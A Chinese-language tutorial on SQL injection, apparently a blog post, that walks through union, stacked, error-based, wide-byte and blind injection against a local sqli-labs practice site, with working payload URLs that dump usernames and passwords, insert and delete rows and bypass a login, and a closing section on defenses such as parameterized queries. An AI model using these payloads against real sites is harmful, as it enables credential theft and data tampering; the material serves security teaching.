      SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
    • Sql查询过程
      在这里插入图片描述
      常见分类
    根据注入点类型分类:1.数字型注入 2.字符型注入
    根据数据传递的方式分类:1.get 注入 2.post 注入 3.head 头注入 
    根据执行效果分类:1.有回显的注入 2.盲注 3.报错注入 4.堆叠注入 5.宽字节注入
    

    Oracle:
    https://www.cnblogs.com/garyzhuang/p/9670411.html
    SQL server
    https://blog.csdn.net/wujakf/article/details/78331663

    1.原理

    1.1.成因

    sql 注入的根本原因就是将 SQL 代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的 SQL 服务器加以 解析并执行。
    web 应用程序对用户输入的数据没有进行过滤, 或者过滤不严,就会把 SQL 语句带进数据库进行查询。

    1.2.注入流程

    在这里插入图片描述

    1.3.简单检测

    利用 单引号 或者 双引号 或者 )或者 \ 来检测是否存在注入,如果爆出 sql 错误,或者出现不回显 90% 可能存在注入。
    判断依据:
    根据客户端返回的 结果来判断提交的 测试语句是否成功 被数据库引擎执行, 如果测试语句被执行了,说明存在注入漏洞。

    1.4.注入位置

    • 最普遍的注入漏洞是由于参数值过滤不严导致的。
    • 参数名、目录名、文件名等注入漏洞通常存在于有网站路由的程序中。

    1.5.Information_schema

    注意:
    Mysql5.0以上,Mysql自带了 Information_schema这个数据库 ,5.0以下是没有的
    重点:
    Information_schema.tables 所有表名 information_schema.columns 所有列名

    常见查询语句:

    select database(); 当前所在的数据库 
    select table_name from information_schema.tables where table_schema=database() 查询当前数据库的表名 
    select column_name from information_schema.columns where table_name='oc_user'
    

    2.利用

    2.1.sql注入基础

    2.1.1.字符型注入

    ?id=1’ and ‘1’=’1 //返回正常页面 
    

    在这里插入图片描述

    ?id=1’ and ‘1’=’2 //页面返回异常 
    

    在这里插入图片描述

    ?id=1 and 1=1 //页面返回正常 
    

    在这里插入图片描述

    ?id=1 and 1=2 //页面返回正常
    

    在这里插入图片描述

    2.1.2.数字型注入

    ?id=1 and 1=1 //页面返回正常
    

    在这里插入图片描述

    ?id=1 and 1=2 //页面返回异常
    

    在这里插入图片描述

    ?id=2-1和?id=1页面返回结果相同
    

    在这里插入图片描述
    在这里插入图片描述

    2.1.3.注入点类型判断

    ?id=1 and 1=2
    

    在逻辑运算中,上式为永假。
    若返回异常则为数字型注入
    若返回正常则为字符型注入

    ?id=1
    ?id=1a
    

    字符型注入上式返回相同页面说明当查询到时,便不再继续查。
    在这里插入图片描述

    2.2.联合查询注入

    前提条件:有回显

    2.2.1.注入基础

    常用语句

    order by 排序 
    union select 联合查询 
    union all select 联合查询输出重复数据
    -- (--空格):注释符 
    %09 TAB键(水平)、 **%0a 新建一行**、 %0c 新的一页、 %0d return功能、 %0b TAB键(垂直)、%a0 空格
    

    常用函数
    concat 用法
    1、功能:将多个字符串连接成一个字符串。
    2、语法:concat(str1, str2,...)
    concat_ws 用法
    1、功能:和 concat() 一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符 (concat_ws 就是 concat with separator)
    2、语法:concat_ws(separator, str1, str2, ...)
    group_concat 用法
    1、功能:将 group by 产生的同一个分组中的值连接起来,返回一个字符串结果。
    2、语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ' 分隔符'] )
    注意:
    若group_concat查询的是一个值时,会自动用逗号分开。若查询为多值时则需要用逗号隔开。

    group_concat(username,',',password)或者group_concat(username,0x7e,password)  0x7e是~的十六进制 0x23是#的十六进制
    

    2.2.1.注入流程

    在这里插入图片描述
    #第一步:找到数据库

    http://127.0.0.1/sqli-labs/Less-3/?id=1
    

    在这里插入图片描述
    #第二步:求闭合字符

    http://127.0.0.1/sqli-labs/Less-3/?id=1') 未注释报错
    http://127.0.0.1/sqli-labs/Less-3/?id=')  and 1=1 -- - 注释后不报错
    说明闭合字符为‘)
    

    在这里插入图片描述
    在这里插入图片描述
    #第三步:求列数

    http://127.0.0.1/sqli-labs/Less-3/?id=1’)  order by 3 -- -返回正常
    http://127.0.0.1/sqli-labs/Less-3/?id=1‘)  order by 4 -- -返回异常
    说明列数为3
    

    在这里插入图片描述
    在这里插入图片描述
    #第四步:求显示位

    http://127.0.0.1/sqli-labs/Less-3/?id=1’) union select 1,2,3 -- - 返回为id为1的数据
    由于web显示位的问题,需要在前面查询一个不存在的值 可以是负值,也可以是逻辑永假。
    http://127.0.0.1/sqli-labs/Less-3/?id=-1’) union select 1,2,3 -- -返回为联合查询的数据
    判断出回显位为2,3
    

    在这里插入图片描述
    在这里插入图片描述
    #第五步:爆数据库名

    http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,version(),database()  -- -
    

    在这里插入图片描述
    #第六步:爆表名

    http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,version(),group_concat(table_name)from information_schema.tables where table_schema=database() -- -
    

    在这里插入图片描述
    #第七步:爆列名

    http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,version(),group_concat(column_name)from information_schema.columns where table_schema=database() -- -
    

    在这里插入图片描述
    #第八步:爆字段

    http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,version(),group_concat(id,0x23,username,0x23,password)from users -- -
    

    在这里插入图片描述

    2.3.堆叠注入

    前提条件:知道数据库表明列明数据名
    mysql、sqlserver、oracle、postgresql数据库中,除oracle数据库不能使用堆叠查询语法外,其他关系型数据库都能符合语法。

    2.3.1.注入基础

    sql 语句以 ; 为分隔符,可以同 时执行很多 sql 语句.
    堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
    相关函数:
    mysql_query() 向与指定的 link_identifier 关联的服务器中的当前活动数据库发送一条查询 (不支持多条查询)
    mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
    利用方法:
    堆叠查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入
    找闭合符号,然后在语句后面加分号(;)然后进行任意的语句调用(增删改查)。

    增:insert into tableName(columnName1,columnName2) values(value1,value2)
    删:delete from tableName where …
    改:update tableName set columnName=value where …
    查:select * from tableName where …
    

    #注释符的使用
    GET型sql注入中必须进行编码成%23,POST型sql注入中不能使用%23
    GET请求只能进行url编码,而POST支持多种编码方式。

    2.3.2.GET型堆叠注入

    #第一步:求闭合符号

    http://127.0.0.1/sqli-labs/Less-38//?id=1'-- -
    

    在这里插入图片描述
    #第二步:加分号后,增删改查 前提要知道表明列明

    http://127.0.0.1/sqli-labs/Less-38//?id=1'; insert into users (id,username,password) values (38,’lhl‘,123) -- -    
    向users表中插入一组数据
    

    在这里插入图片描述

    http://127.0.0.1/sqli-labs/Less-38//?id=38
    插入成功
    

    在这里插入图片描述

    http://127.0.0.1/sqli-labs/Less-38//?id=1'; delete from users where id=38 -- -
    删除上面插入的id为38的一组数据
    

    在这里插入图片描述

    http://127.0.0.1/sqli-labs/Less-38//?id=38
    再查询,返回异常,证明已经删除
    

    在这里插入图片描述

    2.3.3.POST型堆叠注入

    在这里插入图片描述

    #第一步:找注入点

    http://127.0.0.1/sqli-labs/Less-42/
    lhl
    ' or '1'='1
    

    利用上式注入成功绕过,发现password存在注入点
    在这里插入图片描述
    #第二步:插入用户

    lhl
    ';insert into users values('42','lhl','123')#
    插入成功
    

    #第三步:用插入的用户密码登录

    lhl
    123
    登陆成功
    

    在这里插入图片描述

    2.4.报错注入

    报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的 在遇到有报错回显的时候,但是没有数据回显的情况下可以利用。

    2.4.1.注入基础

    报错诸注入函数:
    1.floor() :向下取整
    2.extractvalue():对XML文档进行查询的函数,当参数的格式不正确 而产生的错误,会返回参数的信息 3.updatexml():更新 xml 文档的函数,原理跟 extracvalue 一样。
    4.exp():以e为底的指数函数
    5.rand()+group()+count()
    参考文档:
    https://xz.aliyun.com/t/7169#toc-19

    2.4.2.Xpath语法

    在这里插入图片描述

    updatexml()
    作用:使用不同的xml标记匹配和替换xml块的函数。 
    函数语法:updatexml(XML_document, XPath_string, new_value); 
    适用版本: 5.1.5+ 
    payload: and updatexml(1,concat(0x7e,(select user()),0x7e),1) 前后添加 ~ 使其不符合 xpath 格式从而报错 
    
    extractvalue()
    作用:从目标XML中返回包含所查询值的字符串 
    函数语法:EXTRACTVALUE (XML_document, XPath_string); 
    适用版本:5.1.5+ 利用原理与updatexml函数相同 
    payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
    

    必须是在xpath那里传特殊字符,mysql才会报错,而我们又要注出数据,没这么多位置,所以要用到concat函数。
    xpath只会对特殊字符进行报错,这里我们可以用~,16进制的0x7e来进行利用。
    xpath只会报错32个字符,所以要用到substr。

    2.4.5.注入流程

    #爆库名

    http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
    

    在这里插入图片描述
    #爆表名

    http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
    

    在这里插入图片描述
    #爆列名

    http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
    数据不全可在后面加where column_name not in
    http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' where column_name not in('id','password')))) --+
    

    在这里插入图片描述
    #爆数据

    http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
    数据不全可在后面加where username not in
    http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (('Dumb','Angelina'))))--+
    

    在这里插入图片描述

    2.5.宽字节注入

    利用addslashes
    设置了gbk编码

    2.5.1.注入基础

    1.现在大多数的网站对于SQL注入都做了一定的防御方法,例如使用一些 Mysql中转义的函数addslashes,mysql_real_escape_string, mysql_escape_string等,还有一种是配magic_quote_gpc,不过PHP高版本已经移除此功能。
    其实这些函数就是为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义
    2.网站开启了magic_quote_gpc,或者使用了上面的转义函数 数据库设置成gbk编码(不是html编码)
    3.在编码中,gbk编码占用2个字符,ascii占用1个字符,攻击者恶意构造,把 ascll字符吃掉,就能进行下一步攻击。

    2.5.2.注入流程

    单引号转义
    在这里插入图片描述
    在这里插入图片描述
    汉字的asicc编码第一个字节大于127
    http://ascii.911cha.com/
    在单引号前面加大于127的ASicc码。因为是GBK编码,其与\会组成一个汉字。转义失效,单引号逃逸。
    在这里插入图片描述
    闭合成功,之后可以利用联合查询进行注入
    在这里插入图片描述
    主要作用:
    与\组成汉字使得单引号逃逸出来不能被转义。进而进行闭合,深度利用。

    2.6.盲注

    在Sql注入攻击过程中,服务器关闭了错误的回显。我们单纯通过服务器返回内容的变化来判断是否存在sql注入和利用的方式。

    2.6.1.注入基础

    流程:
    1、判断是否存在注入(单/双引号判断)
    2、获取数据库长度
    3、逐字猜解数据库名
    4、猜解表名数量
    5、猜解某个表名长度
    6、逐字猜解表名
    7、猜解列名数量
    8、猜解某个列名长度
    9、逐字猜解列名
    10、判断数据数量
    11、猜解某条数据长度
    12、逐位猜解数据
    相关函数:
    length():返回字符串的长度
    limit a,b:后缀两个参数(/参数必须是一个整数常量/),其中 a 是 指记录开始的偏移量,b 是指从第 a+1 条开始,取 b 条记录。
    substr():截取字符串
    ascii():返回字符的 ascii 码
    left(name, 4):返回 name 的左边前四个字符
    right(name, 2):返回 name 的右边前二个字符
    count():返回数组中元素的数目

    2.6.2.布尔盲注

    通过页面的返回内容是否正确,来验证是否存在注入。
    还是练题吧(😉
    在这里插入图片描述

    2.6.3.时间盲注

    通过sql语句处理时间的不同来判断石是否存在注入。
    可以利用benchmark,sleep等造成延时效果的和函数,也可以通过构造大笛卡尔积的联合查询表来达到延时的目的。
    相关函数:

    sleep(n):将程序挂起一段时间 n 为 n 秒 
    if(expr1, expr2, expr3):判断语句 如果第一个语句正确就执行第二个语 句如果错误执行第三个语句. 
    判断 payload:and if('s'='s',sleep(5),1) --+ 
    依据:正确会延迟,错误不会延迟。
    

    3.危害

    绕过登录验证:使用万能密码登录网站后台等。
    获取敏感数据:获取网站管理员帐号、密码等。
    文件系统操作:列目录,读取、写入文件等。
    注册表操作:读取、写入、删除注册表等。
    执行系统命令:远程执行命令。

    4.防御

    1. 使用安全的API。
    2. 对输入的特殊字符进行Escape转义处理。
    3. 使用白名单来规范化输入验证方法。
    4. 对客户端输入进行控制,不允许输入Sql注入相关的特殊字符。
    5. 服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
    6. 开发人员规范编码,字符集。
      参数化查询防止SQL注入:
      原理:使用参数化查询数据湖库,服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数执行。即语句是语句,参数是参数参数的值并不是语句的一部分,数据库只按语句的语义跑。
    展开全文
  • 网络爬虫在搜索引擎领域广泛使用,SQL注入漏洞检测属于Web服务和数据库安全的范畴。为了提高网站的安全性,及时、有效地发现网站存在的SQL注入漏洞,改进了现有的网络爬虫技术,应用到网站SQL注入漏洞的检测中,...
  • 常见傻瓜型SQL注入漏洞、以及XSS漏洞。会越来越少,但是我们也会发现一些新兴的隐蔽性漏洞偶尔会出现。这些漏洞更多来自开发人员,一个函数、常见模块功能设计不足,遗留下的问题。以前我们能够完成一些功能模块...
  • 是去年毕设做的一个Web漏洞扫描小工具,主要针对简单的SQL注入漏洞、SQL盲注和XSS漏洞。下文给大家介绍了使用说明和源代码,一起看看吧
  • a)、自动的客户端脚本分析器,允许Ajax和Web 2.0应用程序进行安全性测试 b)、业内最先进且深入的SQL 注入和跨站脚本测试 c)、高级渗透测试工具,例如HTTP Editor 和HTTP Fuzzer d)、可视化宏记录器帮助您轻松测试...
  • Web服务的XML注入攻击检测
  • 安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例
  • 很多WEB应用中都存在SQL注入漏洞。SQL注入是一种攻击者利用代码缺陷进行攻击的方式,可在任何能够影响数据库查询的应用程序参数中利用。例如url本身的参数、post数据或cookie值。 2.检测到目标URL存在跨站漏洞 跨...
  • 详情请看原文:快速学习利用sqlmap(基于python3)扫描检测sql注入漏洞,挖掘并进行攻击http://config.net.cn/producttest/3f96a311-9b37-43bc-83a6-4ca6565c3ffb-p1.html
  • 编写一个简单的多线程爬虫,用于网站地址进行爬取,编写一个简单的sql注入工具,用于网站地址进行sql注入检测。 1.2 实验知识点 多线程的使用 网站爬虫的基本知识 SQL注入的基本原理 SQL检测工具编写,...
  • 操作系统命令注入漏洞检测及加固

    千次阅读 2020-02-26 11:31:57
    操作系统命令注入漏洞检测及加固 1.DVWA之命令注入漏洞 注入 sql注入 命令注入 提供注入的接口 - url参数 Sql 后台程序,执行我们构造的sql语句 后台执行 返回结果 Sql是命令注入的一种,针对数据库 命令注入,通过...
  • php网站漏洞检测对sql注入漏洞防护

    千次阅读 2019-04-08 09:42:55
    近日,我们SINE安全metinfo进行网站安全检测发现,metinfo米拓建站系统存在高危的sql注入漏洞,攻击者可以利用该漏洞网站的代码进行sql注入攻击,伪造恶意的sql非法语句,网站的数据库,以及后端服务器进行...
  • 常见web漏洞——SQL注入

    千次阅读 2021-03-18 18:05:12
    pikachu漏洞练习平台(SQL—Inject) 概述 SQL注入漏洞主要形成的原因是在数据交互中,前端的...1.传进SQL语句里面的变量进行过滤,不允许危险字符传入; 2.使用参数化(Parameterized Query 或 Parameterized Statem
  • 面对Web网站存在的种种安全漏洞问题,文章通过大量SQL注入攻击报文的攻击特征进行总结分析,结合SQL注入攻击的攻击特征和攻击原理,提出了一种基于通用规则的SQL注入攻击检测与防御的方法,并利用SQL注入检测工具...
  • WEB编程常见的漏洞检测,可能对WEB设计者有帮助,对于WEB应用系统管理者也有帮助
  • 1.配置web 拦截器 <filter> <filter-name>XssSqlFilter</filter-name> <filter-class>com.modules.sys.security.SessionFilter</filter-class> //拦截器的位置 </filter>....
  • SQL注入漏洞

    千次阅读 2021-12-11 21:16:59
    总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作 手工检测SQL注入点 只要有带参数交互的地方都有可能有SQL注入漏洞 登录的地方、更新的地方、注册的地方、留言板、查询、删除等 可能出现...
  • web漏洞检测

    2020-01-14 21:41:05
    注入漏洞 二 .XSS 三.安全配置错误 四. 登录认证缺陷 五. 敏感信息泄露 六. 权限控制不严格 七 . CRSF 八.使用了存在漏洞的组件 九.其他类型漏洞 十.其他漏洞 十一 .已公开高危漏洞 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 23,089
精华内容 9,235
关键字:

对web注入漏洞进行检测